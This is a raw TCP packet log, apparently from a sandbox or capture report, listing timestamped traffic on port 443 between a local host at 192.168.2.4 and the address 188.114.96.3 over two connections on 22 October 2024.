Oct 22, 2024 06:17:14.369673967 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.369693041 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.369844913 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.369844913 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.412643909 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.412661076 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.412818909 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.443793058 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.443809032 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.443991899 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.445717096 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.445728064 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.445781946 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.485687017 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.485873938 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.529746056 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.529926062 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.561048985 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.561218023 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.562655926 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.562720060 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.565274954 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.565335989 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.647416115 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.647593975 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.648786068 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.648854971 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.681144953 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.681333065 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.682233095 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.682291031 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.719579935 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.719654083 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.768261909 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.768455982 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.769996881 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.770070076 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.773828030 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.773900986 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.796271086 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.796355963 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.836730003 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.836910963 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.885509968 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.885694981 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.889369965 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.889444113 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.911359072 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.911446095 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.913259983 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.913320065 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.000469923 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.001940966 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.006011963 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.006045103 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.006119013 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.006159067 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.008243084 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.008421898 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.008483887 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.008544922 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.028951883 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.029135942 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.070873976 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.070926905 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.071036100 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.071048021 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.071115971 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.071506977 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.089139938 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.089184999 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.089253902 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.089528084 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.089549065 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.718583107 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.718799114 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.721952915 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.721970081 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.722383022 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:15.723311901 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:15.763356924 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.125319004 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.125363111 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.125551939 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.125613928 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.127937078 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.128017902 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.128036976 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.130079031 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.132213116 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.132239103 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.132280111 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.132307053 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.132333994 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.173890114 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.173949957 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.220768929 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.247133970 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.254137039 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.254673958 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.254734993 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.266659975 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.266874075 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.266904116 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.279234886 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.279261112 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.279393911 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.279457092 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.279527903 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.284260035 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.330163956 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.330223083 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.366112947 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.366298914 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.366360903 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.374877930 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.374918938 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.375097036 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.375161886 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.375221014 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.381087065 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.387204885 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.387233019 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.387480021 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.387545109 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.387624979 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.390391111 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.439536095 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.439594984 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.485114098 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.485310078 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.485371113 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.487087965 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.487262011 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.487323046 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.495373964 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.495405912 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.495452881 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.495475054 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.495548010 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.495589018 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.502826929 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.502859116 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.503015041 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.503079891 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.503146887 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.604151011 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.604168892 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.604471922 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.611135006 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.611148119 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.611217976 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.614391088 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.614401102 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.614470959 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.620382071 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.620392084 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.620465994 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.723887920 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.723906040 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.724096060 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.728355885 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.728452921 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.731445074 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.731640100 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.737607956 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.737797022 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.843836069 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.844222069 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.845674992 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.845761061 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.851108074 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.851187944 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.856339931 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.856519938 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.860121965 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.860210896 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.963361979 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.963599920 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.967854977 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.968084097 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.970804930 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.970889091 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.973910093 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.974082947 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:16.979300022 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:16.979480982 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.098536015 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.098782063 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.103722095 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.103926897 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.106749058 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.107141018 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.112507105 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.112596035 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.114669085 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.114865065 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.218190908 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.218410969 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.223120928 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.223304033 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.225929976 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.226144075 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.231554985 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.231731892 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.235958099 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.236140966 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.337493896 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.337677002 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.341237068 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.341413975 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.341473103 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.346309900 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.346484900 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.346545935 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.346611977 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.348865986 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.348926067 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.352927923 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.353106976 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.354964018 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.355145931 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.458596945 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.458786964 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.461961985 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.462023973 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.466511965 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.466573000 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.469769955 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.469834089 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.471577883 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.471640110 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.584435940 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.584474087 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.584595919 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.584654093 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.584654093 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.584654093 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.584721088 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.584769011 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.584810972 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.698599100 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.698626041 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.698792934 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.698792934 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.698858976 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.698920012 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.700161934 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.700335026 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.739522934 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.739543915 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.739732981 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.739732981 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.739803076 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.739862919 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.823100090 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.823128939 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.823311090 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.823333025 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.823527098 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.936698914 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.936728954 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.936904907 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.936904907 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.936927080 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.937139988 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.941893101 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.941977024 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:17.941996098 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:17.942171097 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.190768957 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.190783024 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.190965891 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.191006899 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.191076040 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.191128969 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.191128969 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.198561907 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.198581934 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.198755026 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.198755026 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.198818922 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.198877096 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.204179049 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.204255104 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.204345942 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.204345942 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.204408884 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.204463959 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.210432053 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.210453987 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.210613012 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.210613012 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.210676908 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.210736036 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.212357998 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.212537050 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.294284105 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.294469118 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.294471025 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.294548988 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.294589996 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.298141003 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.298218966 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.298309088 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.298309088 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.298373938 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.379352093 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.379379988 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.379542112 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.379543066 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.379610062 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.416493893 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.416673899 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.416685104 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.416764975 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.416812897 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.457410097 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.457433939 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.457588911 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.457593918 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.457593918 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.457665920 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.457727909 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.499902010 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.500078917 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.535693884 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.535712957 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.535888910 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.535897970 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.535969019 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.536010981 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.536899090 CEST	49735	443	192.168.2.4	188.114.96.3
